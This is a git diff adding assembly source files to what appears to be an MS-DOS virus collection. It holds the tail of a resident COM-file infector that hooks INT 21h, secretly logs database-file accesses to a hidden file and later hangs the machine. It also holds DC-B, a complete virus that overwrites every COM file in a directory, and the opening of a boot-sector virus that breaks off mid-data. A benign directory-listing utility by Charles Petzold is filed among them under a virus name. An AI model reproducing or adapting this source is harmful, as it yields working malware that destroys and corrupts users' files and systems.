BP0453 ; Convert pathname to uppercase + CALL BP0468 ; Test for Dbase file + JNE BP0381 ; Branch if not + PUSH DX + MOV DX,SI ; Copy pathname (for function 6CH) + CALL BP0665 ; Search BUG.DAT file for pathname + POP DX + JB BP0415 ; Branch if found + PUSH ES + PUSH DS + PUSH DX + PUSH SI + PUSH DI + PUSH CX + PUSH BX + PUSH AX + CALL BP03B8 ; \ Get current address +BP03B8: POP DX ; / + SUB DX,OFFSET BP03B8-DB0053 ; Address 'BUGS.DAT' pathname + PUSH BP + MOV BP,DS ; \ Set ES to DS + MOV ES,BP ; / + POP BP + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV AX,3D02H ; Open handle (R/W) function + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + JNB BP03D8 ; Branch if no error + MOV AH,3CH ; Create handle function + MOV CX,2 ; Hidden file + INT 21H ; DOS service + JB BP0448 ; Branch if error +BP03D8: MOV BX,AX ; Move handle + CALL BP06F7 ; Is file out of time? + XOR DX,DX ; \ No offset + XOR CX,CX ; / + MOV AX,4202H ; Move file pointer (EOF) function + INT 21H ; DOS service + MOV DX,BP + MOV DI,DX + MOV BP,ES ; \ Set DS to ES + MOV DS,BP ; / + MOV CX,004EH ; Length to write + MOV AH,40H ; Write handle function + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + CALL BP03FB ; \ Get current address +BP03FB: POP SI ; / + SUB SI,74H ; Address file date + MOV DX,CS:[SI] ; Get file date + MOV AX,5701H ; Set file date & time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + JB BP0448 ; Branch if error + POP AX + POP BX + POP CX + POP DI + POP SI + POP DX + POP DS + POP ES +BP0415: POP BP + POP SI + POPF + CALL BP05C3 ; DOS service + JB BP0420 ; Branch if error + CALL BP0423 +BP0420: RETF 2 + +BP0423: PUSHF + PUSH SI + CALL BP0428 ; \ Get current address +BP0428: POP SI ; / + SUB SI,OFFSET BP0428-DW00AE + CMP WORD PTR CS:[SI],14H + JE BP0447 + INC WORD PTR CS:[SI] + PUSH BX + MOV BX,SI + ADD BX,CS:[SI] + ADD BX,CS:[SI] + MOV SI,BX + POP BX + MOV CS:[SI],AL + POP SI + POPF +BP0447: RET + +BP0448: POP AX + POP BX + POP CX + POP DI + POP SI + POP DX + POP DS + POP ES + JMP BP04A7 + + ; Convert pathname to uppercase + +BP0453: PUSH SI + MOV SI,DX ; Copy pathname pointer +BP0456: CMP BYTE PTR [SI],0 ; End of pathname? + JE BP0466 ; Branch if yes + CMP BYTE PTR [SI],'a' ; Lowercase character? + JB BP0463 ; Branch if not + SUB BYTE PTR [SI],' ' ; Convert to uppercase +BP0463: INC SI ; Next character + JMP BP0456 ; Process next character + +BP0466: POP SI + RET + + ; Test for Dbase file + +BP0468: CALL BP0453 ; Convert pathname to uppercase + PUSH SI +BP046C: CMP BYTE PTR [SI],0 ; End of pathname? + JE BP0480 ; Branch if yes + CMP BYTE PTR [SI],'.' ; Extension character? + JE BP0479 ; Branch if yes + INC SI ; Next character + JMP BP046C ; Process next character + +BP0479: INC SI ; Next character + CMP WORD PTR [SI],'BD' ; Database file (1)? + JNE BP0484 ; Branch if not +BP0480: CMP BYTE PTR [SI+2],'F' ; Database file (2)? +BP0484: POP SI + RET + +DB0486 DB 0CDH, 20H, 90H, 90H ; Start of host read buffer +DB048A DB 0, 0 ; Signature read buffer +DB048C DB 0E9H, 0, 0 ; Initial jump instruction + DB 0 + + ; Load and execute function + +BP0490: PUSH BP + PUSH SI + MOV SI,DX ; Copy pathname pointer +BP0494: CMP BYTE PTR [SI],0 ; End of pathname? + JE BP04A7 ; Branch if yes + CMP BYTE PTR [SI],'.' ; Extension indicator? + JE BP04AC ; Branch if yes + INC SI ; Next character + JMP BP0494 ; Process next character + +BP04A1: POP DS + POP DX + POP DI + POP CX + POP BX + POP AX +BP04A7: POP BP + POP SI + JMP BP0044 ; Pass on to Int 21H + +BP04AC: INC SI ; Next character + CMP WORD PTR [SI],'OC' ; Is it a COM file? (1) + JNE BP04A7 ; Branch if not + CMP BYTE PTR [SI+2],'M' ; Is it a COM file? (1) + JNE BP04A7 ; Branch if not + PUSH AX + PUSH BX + PUSH CX + PUSH DI + PUSH DX + PUSH DS + PUSH SI + PUSH CX + MOV AX,4300H ; Get file attributes function + INT 21H ; DOS service + CALL BP04C9 ; \ Get current address +BP04C9: POP SI ; / + SUB SI,OFFSET BP04C9-DW038B ; Address file attributes + MOV CS:[SI],CX ; Save file attributes + MOV CS:[SI+2],DS ; Save pathname segment + MOV CS:[SI+4],DX ; Save pathname offset + AND CX,00FEH ; Switch off read only + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + POP CX + POP SI + MOV AX,3D00H ; Open handle (read) function + INT 21H ; DOS service + JB BP04A1 ; Branch if error + MOV BX,AX ; Move handle + MOV AX,5700H ; Get file date & time function + INT 21H ; DOS service + PUSH SI + CALL BP04F6 ; \ Get current address +BP04F6: POP SI ; / + SUB SI,OFFSET BP04F6-DW0387 ; Address file date + MOV CS:[SI],DX ; Save file date + MOV CS:[SI+2],CX ; Save file time + POP SI + MOV AH,3FH ; Read handle function + MOV CX,4 ; Length to read + CALL BP050B ; \ Get current address +BP050B: POP SI ; / + SUB SI,OFFSET BP050B ; Offset of start of virus + MOV DX,SI ; \ Address start of host read buffer + ADD DX,OFFSET DB0486 ; / + PUSH CS ; \ Set DS to CS + POP DS ; / + INT 21H ; DOS service + JB BP058A ; Branch if error + PUSH DX + PUSH SI + MOV SI,DX ; Address start of host read buffer + MOV DX,[SI+1] ; Get branch offset (if its a branch?) + INC DX ; \ Address to signature (DB0630) + XOR CX,CX ; / + MOV AX,4200H ; Move file pointer (start) function + INT 21H ; DOS service + POP SI + POP DX + JB BP058A ; Branch if error + MOV AH,3FH ; Read handle function + MOV CX,2 ; Length to read + ADD DX,4 ; Address to signature read buffer + INT 21H ; DOS service + PUSH SI + MOV SI,DX ; \ Copy signature read buffer address + MOV DI,SI ; / + CMP WORD PTR [SI],0E5E5H ; Test signature + POP SI + JE BP058A ; Branch if infected + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + POP DS + POP DX + PUSH DX + PUSH DS + MOV AX,3D02H ; Open handle (R/W) function + INT 21H ; DOS service + JNB BP0557 ; Branch if no error + JMP BP04A1 + +BP0557: PUSH CS ; \ Set DS to CS + POP DS ; / + MOV BX,AX ; Move handle + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + ADD AX,OFFSET START-3 ; Add entry point offset + NOP + MOV [DI+3],AX ; Store in initial jump instruction + XOR DX,DX ; Address start of virus + MOV AH,40H ; Write handle function + MOV CX,OFFSET ENDADR ; Length of virus + NOP + INT 21H ; DOS service + MOV AX,4200H ; Move file pointer (start) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + MOV DX,DI ; \ Address initial jump instruction + ADD DX,2 ; / + MOV CX,3 ; Length of jump instruction + MOV AH,40H ; Write handle function + INT 21H ; DOS service +BP058A: PUSH SI + CALL BP058E ; \ Get current address +BP058E: POP SI ; / + SUB SI,OFFSET BP058E-DW0387 ; Address file date + MOV DX,CS:[SI] ; Get file date + MOV CX,CS:[SI+2] ; Get file time + POP SI + MOV AX,5701H ; Set file date & time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + PUSH SI + PUSH CX + CALL BP05A9 ; \ Get current address +BP05A9: POP SI ; / + SUB SI,OFFSET BP05A9-DW038B ; Address file attributes + MOV CX,CS:[SI] ; Get file attributes + MOV DS,CS:[SI+2] ; Get pathname offset + MOV DX,CS:[SI+4] ; Get pathname segment + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + POP CX + POP SI + JMP BP04A1 + + ; Call DOS service + +BP05C3: PUSHF + DB 9AH ; Far call +DW05C5 DW 0 ; Int 21H offset +DW05C7 DW 0 ; Int 21H segment + RET + + ; Infect system + +BP05CA: PUSH SI + CALL BP05CE ; \ Get current address +BP05CE: POP SI ; / + SUB SI,OFFSET BP05CE ; Relocate from start of virus + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH DS + PUSH ES + MOV AX,3521H ; Get Int 21H function + INT 21H ; DOS service + MOV CS:[SI+46H],BX ; \ Install vector in jump + MOV CS:[SI+48H],ES ; / + MOV CS:DW05C5[SI],BX ; \ Install vector in call + MOV CS:DW05C7[SI],ES ; / + PUSH CS ; \ Get current segment + POP AX ; / + DEC AX ; \ Address MCB + MOV DS,AX ; / + ASSUME DS:MCB + MOV DX,MEMSIZE ; Get memory block length + SUB DX,0074H ; \ Subtract virus length + nop + DEC DX ; / + MOV MEMSIZE,DX ; Replace new length + ASSUME DS:NOTHING + PUSH CS ; \ Get current segment + POP AX ; / + ADD DX,AX ; \ Address free space + MOV DS,DX ; / + MOV DI,0 ; Start of free space + MOV CX,OFFSET ENDADR ; Length of virus + NOP + CLI + PUSH SI +BP0612: MOV AL,CS:[SI] + MOV [DI],AL + INC SI + INC DI + LOOP BP0612 + POP SI + MOV DS,DX + MOV DX,OFFSET BP0000 + MOV AX,2521H ; Set Int 21H function + INT 21H ; DOS service + STI + POP ES + POP DS + POP DI + POP DX + POP CX + POP BX + POP AX + JMP BP0640 + +DB0630 DB 0E5H, 0E5H + + ; Entry point + +START: PUSH AX + MOV AX,0FB0AH ; Infection test function + INT 21H ; DOS service + CMP AX,0AFBH ; Is system infected? + JE BP0640 ; Branch if yes + JMP BP05CA + +BP0640: PUSH SI + CALL BP0644 ; \ Get current address +BP0644: POP SI ; / + SUB SI,OFFSET BP0644-DB0486 ; Address start of host read buffer + PUSH BX + MOV BX,0100H ; Address start of host + MOV AX,CS:[SI] ; \ Restore start of host (1) + MOV CS:[BX],AX ; / + MOV AX,CS:[SI+2] ; \ + ADD BX,2 ; ) Restore start of host (2) + MOV CS:[BX],AX ; / + POP BX + POP SI + POP AX + MOV AX,0100H ; \ Branch to start of host + JMP AX ; / + + ; Search BUG.DAT file for pathname + +BP0665: PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH DS + PUSH ES + CALL BP0671 ; \ Get current address +BP0671: POP BP ; / + SUB BP,OFFSET BP0671-DB0053 ; Address 'BUGS.DAT' pathname + PUSH DS ; \ Set ES to DS + POP ES ; / + MOV DI,DX ; Copy pathname pointer + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV DX,BP ; Move pathname address + MOV AX,3D00H ; Open handle (read) function + PUSH DI + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + JNB BP0697 ; Branch if no error + MOV AH,3CH ; Create handle function + MOV CX,2 ; Hidden file + INT 21H ; DOS service + JNB BP0697 ; Branch if no error +BP0692: POP DI + CLC + JMP BP06D1 + +BP0697: MOV BX,AX ; Move handle + ADD DX,0CH ; Read buffer +BP069C: MOV CX,004EH ; Length to read + MOV AH,3FH ; Read handle function + INT 21H ; DOS service + JB BP0692 ; Branch if error + CMP AX,0 ; Did we read anything? + JNE BP06B0 ; Branch if yes + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + JMP BP0692 + +BP06B0: POP DI + MOV SI,DX + PUSH DI +BP06B4: MOV AL,ES:[DI] ; Get next character + CMP AL,0 ; End of pathname? + JE BP06C3 ; Branch if yes + CMP AL,[SI] ; Does it match file? + JNE BP069C ; Read next section if not + INC SI ; Next file character + INC DI ; Next pathname character + JMP BP06B4 ; Compare next character + + ; Pathname found on BUG.DAT file + +BP06C3: POP DI + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + STC + JMP BP06D1 + + ; unreferenced code + + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + CLC + +BP06D1: POP ES + POP DS + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + RET + + ; Open file function + +BP06DB: POPF + CALL BP05C3 ; DOS service + JB BP06F4 ; Branch if error + PUSHF + PUSH SI + MOV SI,DX + CALL BP0468 ; Test for Dbase file + JNE BP06F2 ; Branch if not + CALL BP0665 ; Search BUG.DAT file for pathname + JNB BP06F2 ; Branch if not found + CALL BP0423 +BP06F2: POP SI + POPF +BP06F4: RETF 2 + + ; Is file out of time? + +BP06F7: PUSH AX + PUSH CX + PUSH DX + PUSH SI + MOV AX,5700H ; Get file date & time function + INT 21H ; DOS service + CALL BP0703 ; \ Get current address +BP0703: POP SI ; / + SUB SI,OFFSET BP0703-DW0387 ; Address file date + MOV CS:[SI],DX ; Save file date + MOV CL,5 ; \ Move month to bottom of reg + SHR DX,CL ; / + AND DX,0FH ; Isolate month + MOV AH,2AH ; Get date function + PUSH DX ; Preserve file month + INT 21H ; DOS service + POP CX ; Recover file month + SUB CL,DH ; Subtract month from file month + CMP CL,0 ; Negative result? + JGE BP0721 ; Branch if not + NEG CL ; Change the sign +BP0721: CMP CL,3 ; Three months difference? + JL BP0729 ; Branch if not + JMP BP072E + +BP0729: POP SI + POP DX + POP CX + POP AX + RET + + ; File three months old (or next year) + +BP072E: CLI + MOV AX,3 ; Start count +BP0732: MOV CX,0100H + MOV DX,0 ; \ Address zero + MOV DS,DX ; / + XOR BX,BX + PUSH AX + INT 3 ; Breakpoint + INT 3 ; Breakpoint + POP AX + INC AX ; Increment count + CMP AL,1AH ; Has it reached 26? + JL BP0732 ; Branch if not +BP0745: CLI ; \ Loop with interrupts disabled + JMP BP0745 ; / + +ENDADR EQU $ + +CODE ENDS + + END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/MSDOS/Virus.MSDOS.Unknown.dc-b.asm b/MSDOS/Virus.MSDOS.Unknown.dc-b.asm new file mode 100644 index 00000000..7a9bbd57 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dc-b.asm @@ -0,0 +1,55 @@ + +PAGE 59,132 + +; +; +; DC-B +; +; Created: 26-Dec-91 +; Passes: 5 Analysis Options on: none +; +; + +data_009E_e equ 9Eh + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + + +start: + mov ah,4Eh ; 'N' + mov dx,offset data_0124 + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx +loc_0107: + mov ax,3D01h + mov dx,data_009E_e + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + xchg ax,bx + mov ah,40h ; '@' + mov cl,2Ah ; '*' + mov dx,100h + int 21h ; DOS Services ah=function 40h + ; write file bx=file handle + ; cx=bytes from ds:dx buffer + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_0107 ; Jump if carry=0 + retn +data_0124 db 2Ah + db 2Eh, 43h, 4Fh, 4Dh, 00h + + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.ddir.asm b/MSDOS/Virus.MSDOS.Unknown.ddir.asm new file mode 100644 index 00000000..7cd59ee5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ddir.asm @@ -0,0 +1,441 @@ +; DDIR.ASM -- Double Column Sorted DIR Command +; ======== +; (C) Copyright Charles Petzold, 1985 +; +; COM file format +; + +CSEG Segment + + Assume CS:CSEG, DS:CSEG + + Org 002Ch ; Offset of Environment +Environment Label Byte + + Org 007Bh ; Parameter for COMMAND.COM +NewParameter Label Byte + + Org 0080h ; Parameter passed to program +OldParameter Label Byte + + Org 0100h ; Entry point +Entry: Jmp Begin + +; All Data +; -------- + + db '(C) Copyright Charles Petzold, 1985' + +DosVersMsg db "Needs DOS 2.0 +$" ; Error messages +MemAllocMsg db "Memory Problem$" +CommandMsg db "COMMAND Problem$" + +Comspec db "COMSPEC=" ; Search string in environment +CommandAsciiz dd ? ; Eventual pointer to COMMAND + +ParamBlock dw ? ; Parameter Block for EXEC + dw NewParameter,? ; First ? must be replaced + dw 5Ch,? ; with Environment segment; + dw 6Ch,? ; others with this segment + +OldInterrupt21 dd ? ; For vector address storage + +BufferPtr dw Offset FileBuffer ; For storing files listing +CharCounter dw 0 ; Keeps track of characters +NowDoingFile db 0 ; Flagged for file printed +WithinFileList db 0 ; Flagged for file list +FileCounter dw 0 ; Keeps track of files +LineCounter db 0 ; For pausing at screen end + +PauseMessage db 6 dup (205)," Press any key to continue " + db 6 dup (205),181 +PauseMsgEnd Label Byte + +; Check DOS Version +; ----------------- + +Begin: Mov AH,30h ; DOS Version function call + Int 21h ; Call DOS + Cmp AL,2 ; Check if version 2 + Jae DosVersOK ; If equal or over, all OK + + Mov DX,Offset DosVersMsg ; Wrong DOS version message +ErrorExit: Mov AH,9 ; Set up for string write + Int 21h ; Call DOS for message + + Int 20h ; Dishonorable discharge + +; Adjust stack and un-allocate rest of memory +; ------------------------------------------- + +DosVersOK: Mov DI,Offset FileBuffer ; Place to save files + Mov CX,528 * 39 ; Allow room for 528 files + Mov AL,' ' ; Will clear with blanks + Cld ; Forward direction + Rep Stosb ; Clear the area + + Mov BX,(Offset FileBuffer) + (528 * 39) + 100h + ; New end of program + Mov SP,BX ; Set the stack pointer + Add BX,15 ; Add 15 for rounding + Mov CL,4 ; Number of shifts + Shr BX,CL ; Convert AX to segment + + Mov AH,4Ah ; DOS call to shrink down + Int 21h ; allocated memory + + Mov DX,Offset MemAllocMsg ; Possible error message + Jc ErrorExit ; Only print it if Carry set + +; Search for Comspec in Environment +; --------------------------------- + + Mov ES,[Environment] ; Environment Segment + Sub DI,DI ; Start search at beginning + Cld ; String increment to forward + +TryThis: Cmp Byte Ptr ES:[DI],0 ; See if end of environment + Jz NoFindComSpec ; If so, we have failed + + Push DI ; Save environment pointer + Mov SI,Offset ComSpec ; String to search for + Mov CX,8 ; Characters in search string + Repz Cmpsb ; Check if strings are same + Pop DI ; Get back the pointer + + Jz FoundComspec ; Found string only zero flag + + Sub AL,AL ; Zero out AL + Mov CX,8000h ; Set for big search + Repnz Scasb ; Find the next zero in string + Jmp TryThis ; And do the search from there + +NoFindComSpec: Mov DX,Offset CommandMsg ; Message for COMSPEC error + Jmp ErrorExit ; Print it and exit + +FoundComspec: Add DI,8 ; So points after 'COMSPEC=' + Mov Word Ptr [CommandASCIIZ],DI ; Save the address of + Mov Word Ptr [CommandASCIIZ + 2],ES ; COMMAND ASCIIZ + +; Set up parameter block for EXEC call +; ------------------------------------ + + Mov [ParamBlock],ES ; Segment of Environment string + Mov [ParamBlock + 4],CS ; Segment of this program + Mov [ParamBlock + 8],CS ; so points to FCB's + Mov [ParamBlock + 12],CS ; and NewParameter + +; Save and set Interrupt 21h vector address +; ----------------------------------------- + + Mov AX,3521h ; DOS call to get Interrupt 21 + Int 21h ; vector address + Mov Word Ptr [OldInterrupt21],BX ; Save offset + Mov Word Ptr [OldInterrupt21 + 2],ES ; And segment + + Mov DX,Offset NewInterrupt21; Address of new Interrupt 21 + Mov AX,2521h ; Do DOS call to + Int 21h ; set the new address + +; Fix up new parameter for "/C DIR" String +; ------------------------------------ + + Mov AL,[OldParameter] ; Number of parameter chars + Add AL,5 ; We'll be adding five more + Mov [NewParameter],AL ; Save it + Mov Word Ptr [NewParameter + 1],'C/' ; i.e. "/C" + Mov Word Ptr [NewParameter + 3],'ID' ; Then "DI" + Mov Byte Ptr [NewParameter + 5],'R' ; And "R" + +; Load COMMAND.COM +; ----------------- + + Push CS ; Push this segment so we can + Pop ES ; set ES to it + Mov BX,Offset ParamBlock ; ES:BX = address of block + Lds DX,[CommandAsciiz] ; DS:DX = address of ASCIIZ + Mov AX,4B00h ; EXEC call 4Bh, type 0 + Int 21h ; Load command processor + +; Return from COMMAND.COM +; ----------------------- + + Mov AX,CS ; Get this segment in AX + Mov DS,AX ; Set DS to it + Mov SS,AX ; And SS for stack segment + Mov SP,(Offset FileBuffer) + (528 * 39) + 100h + ; Set Stack again + + PushF ; Save Carry for error check + Push DS ; Save DS during next call + + Mov DX,Word Ptr [OldInterrupt21] ; Old Int 21 offset + Mov DS,Word Ptr [OldInterrupt21 + 2]; and segment + Mov AX,2521h ; Call DOS to set vector + Int 21h ; address to original + + Pop DS ; Restore DS to this segment + PopF ; Get back Carry flage + + Jnc NormalEnd ; Continue if no error + + Mov DX,Offset CommandMsg ; Otherwise we'll print error + Jmp ErrorExit ; message and exit + +NormalEnd: Int 20h ; Terminate program + +; New Interrupt 21h +; ----------------- + +NewInterrupt21 Proc Far + + Sti ; Allow further interrupts + Cmp AH,40h ; Check if file / device write + Je CheckHandle ; If so, continue checks + +SkipIntercept: Jmp CS:[OldInterrupt21] ; Just jump to old interrupt + +CheckHandle: Cmp BX,1 ; Check if standard output + Jne SkipIntercept ; Not interested if not + + PushF ; Push all registers that + Push AX ; we'll be messing with + Push CX + Push SI + Push DI + Push ES + + Push CS ; Push the code segment + Pop ES ; So we can set ES to it + Cld ; Forward for string transfers + Mov SI,DX ; Now DS:SI = text source + Mov DI,CS:[BufferPtr] ; And ES:DI = text destination + + Cmp CX,2 ; See if two chars to write + Jne RegularChars ; If not, can't be CR/LF + + Cmp Word Ptr DS:[SI],0A0Dh ; See if CR/LF being written + Jne RegularChars ; Skip rest if not CR/LF + + Mov CX,CS:[CharCounter] ; Get characters in line + Mov CS:[CharCounter],0 ; Start at new line + Cmp CS:[NowDoingFile],1 ; See if CR/LF terminates file + Jnz AllowTransfer ; If not, just write to screen + + Mov AX,39 ; Max characters per line + Sub AX,CX ; Subtract those passed + Add CS:[BufferPtr],AX ; Kick up pointer by that + Mov CS:[NowDoingFile],0 ; Finished with file + Jmp PopAndReturn ; So just return to COMMAND + +RegularChars: Add CS:[CharCounter],CX ; Kick up counter by number + Cmp CS:[CharCounter],CX ; See if beginning of line + Jne NotLineBegin ; If not, must be in middle + + Cmp Byte Ptr DS:[SI],' ' ; See if first char is blank + Jne ItsAFile ; If not, it's a file line + + Cmp CS:[WithinFileList],1 ; See if doing file listing + Jne AllowTransfer ; If not, just print stuff + + Call SortAndList ; Files done -- sort and list + Mov CS:[WithinFileList],0 ; Not doing files now + Jmp Short AllowTransfer ; So just print the stuff + +ItsAFile: Cmp CS:[FileCounter],528 ; See if 11 buffer filled up + Jb NotTooManyFiles ; If not just continue + + Push CX ; Otherwise, save this register + Call SortAndList ; Print all up to now + Mov CS:[FileCounter],0 ; Reset the counter + Mov DI,Offset FileBuffer ; And the pointer + Mov CS:[BufferPtr],DI ; Save the pointer + Mov CX,528 * 39 ; Will clear for 528 files + Mov AL,' ' ; With a blank + Rep Stosb ; Clear it out + Pop CX ; And get back register + +NotTooManyFiles:Mov CS:[WithinFileList],1 ; We're doing files now + Mov CS:[NowDoingFile],1 ; And a file in particular + Inc CS:[FileCounter] ; So kick up this counter + +NotLineBegin: Cmp CS:[NowDoingFile],1 ; See if doing files + Je StoreCharacters ; If so, store the stuff + +AllowTransfer: Pop ES ; Pop all the registers + Pop DI + Pop SI + Pop CX + Pop AX + PopF + + Jmp SkipIntercept ; And go to DOS for print + +StoreCharacters:Mov DI,CS:[BufferPtr] ; Set destination + Rep Movsb ; Move characters to buffer + Mov CS:[BufferPtr],DI ; And save new pointer + +PopAndReturn: Pop ES ; Pop all the registers + Pop DI + Pop SI + Pop CX + Pop AX + PopF + + Mov AX,CX ; Set for COMMAND.COM + Clc ; No error here + Ret 2 ; Return with CY flag cleared + +NewInterrupt21 EndP + +; Sort Files +; ---------- + +SortAndList: Push BX ; Push a bunch of registers + Push DX + Push SI + Push DS + + Push CS ; Push CS + Pop DS ; so we can set DS to it + Assume DS:CSEG ; And inform the assembler + + Mov DI,Offset FileBuffer ; This is the beginning + Mov CX,[FileCounter] ; Number of files to sort + Dec CX ; Loop needs one less than that + Jcxz AllSorted ; But zero means only one file + +SortLoop1: Push CX ; Save the file counter + Mov SI,DI ; Set source to destination + +SortLoop2: Add SI,39 ; Set source to next file + + Push CX ; Save the counter, + Push SI ; compare source, + Push DI ; and compare destination + + Mov CX,39 ; 39 characters to compare + Repz Cmpsb ; Do the compare + Jae NoSwitch ; Jump if already in order + + Pop DI ; Get back these registers + Pop SI + + Push SI ; And push them again for move + Push DI + + Mov CX,39 ; 39 characters +SwitchLoop: Mov AL,ES:[DI] ; Character from destination + Movsb ; Source to destination + Mov DS:[SI - 1],AL ; Character to source + Loop SwitchLoop ; For the rest of the line + +NoSwitch: Pop DI ; Get back the registers + Pop SI + Pop CX + Loop SortLoop2 ; And loop for next file + + Pop CX ; Get back file counter + Add DI,39 ; Compare with next file + Loop SortLoop1 ; And loop again + +; Now Display Sorted Files +; ------------------------ + +AllSorted: Mov SI,Offset FileBuffer ; This is the beginning + Mov CX,[FileCounter] ; Number of files to list + Inc CX ; In case CX is odd + Shr CX,1 ; CX now is number of lines + +SetIncrement: Mov BX,24 * 39 ; Increment for double list + Cmp CX,24 ; But use it only if a full + Jae LineLoop ; screen is printed + + Mov AX,39 ; Otherwise find increment + Mul CX ; by multiplying CX by 39 + Mov BX,AX ; And make that the increment + +LineLoop: Call PrintFile ; Print the first column file + Mov AL,' ' ; Skip one space + Call PrintChar ; by printing blank + Mov AL,179 ; Put a line down the middle + Call PrintChar + Mov AL,' ' ; Skip another space + Call PrintChar + + Add SI,BX ; Bump up source by increment + Sub SI,39 ; But kick down by 39 + + Call PrintFile ; Print the second column file + Call CRLF ; And terminate line + + Sub SI,BX ; Bring pointer back down + + Inc [LineCounter] ; One more line completed + Cmp [LineCounter],24 ; Have we done whole screen? + Jz PauseAtEnd ; If so, gotta pause now + + Loop LineLoop ; Otherwise just loop + Jmp Short AllFinished ; And jump out when done + +PauseAtEnd: Mov [LineCounter],0 ; Reset the counter + Add SI,BX ; Go to next file + + Push BX ; Save these registers + Push CX + Mov DX,Offset PauseMessage ; Test to print + Mov CX,Offset PauseMsgEnd - Offset PauseMessage + ; Number of characters + Mov BX,2 ; Standard ERROR Output + Mov AH,40h ; Display to screen + Int 21h ; By calling DOS + Pop CX ; Retrieve pushed registers + Pop BX + + Mov AH,8 ; Wait for character + Int 21h ; Through DOS call + + Call CRLF ; Go to next line + + Loop SetIncrement ; And recalculate increment + +AllFinished: Pop DS ; Done with subroutine + Pop SI + Pop DX + Pop BX + Ret ; So return to caller + +; Display Routines +; ---------------- + +PrintChar: Mov DL,AL ; Print character in AL + Mov AH,2 ; By simple DOS call + Int 21h + Ret ; And return + +CRLF: Mov AL,13 ; Print a carriage return + Call PrintChar + Mov AL,10 ; And a line feed + Call PrintChar + Ret ; And return + +PrintString: Lodsb ; Get character from SI + Call PrintChar ; Print it + Loop PrintString ; Do that CX times + Ret ; And return + +PrintFile: Push CX ; Save the counter + Mov CX,32 ; Bytes for Name, Size, & Date + Call PrintString ; Print it + Inc SI ; Skip one space before time + Mov CX,6 ; Bytes for Time + Call PrintString ; It's a print! + Pop CX + Ret ; And return + +FileBuffer Label Byte ; Points to end of code + +CSEG EndS ; End of segment + + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.debug.asm b/MSDOS/Virus.MSDOS.Unknown.debug.asm new file mode 100644 index 00000000..81f17ed1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.debug.asm @@ -0,0 +1,284 @@ + +PAGE 59,132 + +; +; +; DEBUG +; +; Created: 16-Sep-94 +; Passes: 5 Analysis Options on: none +; +; + +target EQU 'T3' ; Target assembler: TASM-3.1 + +include srmacros.inc + + +; The following equates show data references outside the range of the program. + +data_1e equ 6 +data_2e equ 0Eh +data_3e equ 417h +data_4e equ 46Eh +data_5e equ 24h +data_6e equ 26h +data_7e equ 4Ch +data_8e equ 4Eh +data_13e equ 413h ;* +data_14e equ 46Eh ;* +data_15e equ 7C00h ;* +data_16e equ 7CD3h ;* +data_18e equ 7D25h ;* +data_19e equ 7DBDh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +debug proc far + +start: + jmp short real_start + ;* No entry point to code + nop + push si + inc di + inc cx + inc bx + push ax + db 36h, 30h, 33h, 00h, 02h, 01h + db 01h, 00h, 02h, 70h, 00h, 68h + db 06h,0F9h, 05h, 00h, 0Ah, 00h + db 02h + db 9 dup (0) + db 01h, 00h, 29h,0EDh, 93h, 26h + db 1Dh + db 'NO NAME FAT12 ' + +; +; +; External Entry Point +; +; + +real_start: + cli ; Disable interrupts + push cs + pop ds + mov ax,ds:data_7e + mov ds:data_16e,ax + mov ax,ds:data_8e + mov word ptr ds:data_16e+2,ax + mov al,ds:data_14e + mov ds:data_19e,al + mov ax,ds:data_13e + dec ax + mov ds:data_13e,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + sub ax,7C0h + mov ds:data_8e,ax + mov ds:data_6e,ax + mov word ptr ds:data_7e,7C82h + mov word ptr ds:data_5e,7D62h + mov si,data_15e + mov di,si + mov es,ax + mov cx,100h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + int 19h ; Bootstrap loader + cmp ah,0AAh + jne loc_1 ; Jump if not equal + iret ; Interrupt return +loc_1: + cmp ah,2 + jne loc_4 ; Jump if not equal + cmp cx,1 + jne loc_4 ; Jump if not equal + cmp dh,0 + jne loc_4 ; Jump if not equal + push ax + push bx + push si + push di + pushf ; Push flags + call dword ptr cs:data_16e + jnc loc_2 ; Jump if carry=0 + jmp short loc_5 +loc_2: + cmp word ptr es:[1FEh][bx],0AA55h + je loc_3 ; Jump if equal + jmp short $+29h + db 26h, 80h,0BFh,0BCh, 01h,0C9h + db 74h, 7Ah,0E8h, 8Bh, 00h,0E8h +data_10 db 31h ; Data table (indexed access) + db 00h, 8Bh,0F3h, 80h,0FAh, 79h + db 77h, 